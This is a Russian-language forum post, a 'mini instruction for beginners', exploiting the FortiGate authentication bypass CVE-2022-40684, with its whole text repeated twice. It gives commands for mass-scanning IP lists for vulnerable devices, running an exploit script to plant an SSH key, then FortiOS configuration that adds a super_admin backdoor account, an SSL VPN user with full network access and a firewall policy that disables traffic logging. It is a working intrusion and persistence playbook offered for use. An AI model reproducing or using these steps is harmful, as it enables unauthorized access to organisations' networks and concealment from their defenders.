- Автор темы
- Добавить закладку
- #21
может кому то пригодиться мини инструкция для cve-2022-40684, тоже для новичков...
#берем forti ip и проверяем на vuln(!!! меняем порт на свой)
nmap -Pn -n -p 10443 --script=cve-2022-40684.nse -iL ./ips_input -oA ./res_output --min-rate 5000 --min-hostgroup 22
#фильтруем ip для дальнейшей работы
cat res_output.nmap |grep "VULNERABLE:" -B 7 -a >out
cat out | cut -d ' ' -f1,2,3,4,5 | grep -B 7 "VULNERABLE:" |cut -d ' ' -f5 >out1
sed '/latency)./d;/STATE/d;/--/d;/^$/d' out1>output_ips
#провека на валид
python CVE-2022-40684.py -t 1.1.1.1 --username admin --key-file ./id_rsa.pub
#можно так или ниже вручную через копи-паст
cat config | ssh -i ./id_rsa admin@1.1.1.1 -o StrictHostKeyChecking=no
cat add_admin | ssh -i ./id_rsa admin@1.1.1.1 -o StrictHostKeyChecking=no
#добавляем админа forti-admin
ssh -i ./id_rsa admin@1.1.1.1 -o StrictHostKeyChecking=no
#можно вручную добавлять команды ctrl+c ctrl+v и смотрим если нет ошибок, то дальше
---------------------------------------add_admin----------------------------------------
config system admin
edit forti-admin
set vdom "root"
set accprofile "super_admin"
set email-to "sup@fortinet.com"
set password P@$$w0rddd
next
end
quit
---------------------------------------add_admin-конец----------------------------------------
#настройка VPN
sslvpnuser
P@$$w0rddd
---------------------------------------config-------------------------------------------------
config user local
edit "sslvpnuser"
set type password
set passwd P@$$w0rddd
next
end
config user group
edit "sslvpngroup"
set member "sslvpnuser"
next
end
config vpn ssl settings
set servercert "Fortinet_Factory"
set tunnel-ip-pools "SSLVPN_TUNNEL_ADDR1"
set source-interface "any"
set source-address "all"
set source-address6 "all"
set default-portal "full-access"
config authentication-rule
edit 19
set groups "sslvpngroup"
set portal "full-access"
next
end
end
config firewall policy
edit 19
set name "full-access"
set srcintf "ssl.root"
set dstintf "any"
set srcaddr "all"
set dstaddr "all"
set groups "sslvpngroup"
set action accept
set schedule "always"
set service "ALL"
set logtraffic disable
next
end
config vpn ssl settings
show
end
config firewall address
show
end
config system interface
show
end
---------------------------------------------config-конец-------------------------------------------
записываем потр и ip ranges
#берем forti ip и проверяем на vuln(!!! меняем порт на свой)
nmap -Pn -n -p 10443 --script=cve-2022-40684.nse -iL ./ips_input -oA ./res_output --min-rate 5000 --min-hostgroup 22
#фильтруем ip для дальнейшей работы
cat res_output.nmap |grep "VULNERABLE:" -B 7 -a >out
cat out | cut -d ' ' -f1,2,3,4,5 | grep -B 7 "VULNERABLE:" |cut -d ' ' -f5 >out1
sed '/latency)./d;/STATE/d;/--/d;/^$/d' out1>output_ips
#провека на валид
python CVE-2022-40684.py -t 1.1.1.1 --username admin --key-file ./id_rsa.pub
#можно так или ниже вручную через копи-паст
cat config | ssh -i ./id_rsa admin@1.1.1.1 -o StrictHostKeyChecking=no
cat add_admin | ssh -i ./id_rsa admin@1.1.1.1 -o StrictHostKeyChecking=no
#добавляем админа forti-admin
ssh -i ./id_rsa admin@1.1.1.1 -o StrictHostKeyChecking=no
#можно вручную добавлять команды ctrl+c ctrl+v и смотрим если нет ошибок, то дальше
---------------------------------------add_admin----------------------------------------
config system admin
edit forti-admin
set vdom "root"
set accprofile "super_admin"
set email-to "sup@fortinet.com"
set password P@$$w0rddd
next
end
quit
---------------------------------------add_admin-конец----------------------------------------
#настройка VPN
sslvpnuser
P@$$w0rddd
---------------------------------------config-------------------------------------------------
config user local
edit "sslvpnuser"
set type password
set passwd P@$$w0rddd
next
end
config user group
edit "sslvpngroup"
set member "sslvpnuser"
next
end
config vpn ssl settings
set servercert "Fortinet_Factory"
set tunnel-ip-pools "SSLVPN_TUNNEL_ADDR1"
set source-interface "any"
set source-address "all"
set source-address6 "all"
set default-portal "full-access"
config authentication-rule
edit 19
set groups "sslvpngroup"
set portal "full-access"
next
end
end
config firewall policy
edit 19
set name "full-access"
set srcintf "ssl.root"
set dstintf "any"
set srcaddr "all"
set dstaddr "all"
set groups "sslvpngroup"
set action accept
set schedule "always"
set service "ALL"
set logtraffic disable
next
end
config vpn ssl settings
show
end
config firewall address
show
end
config system interface
show
end
---------------------------------------------config-конец-------------------------------------------
записываем потр и ip ranges
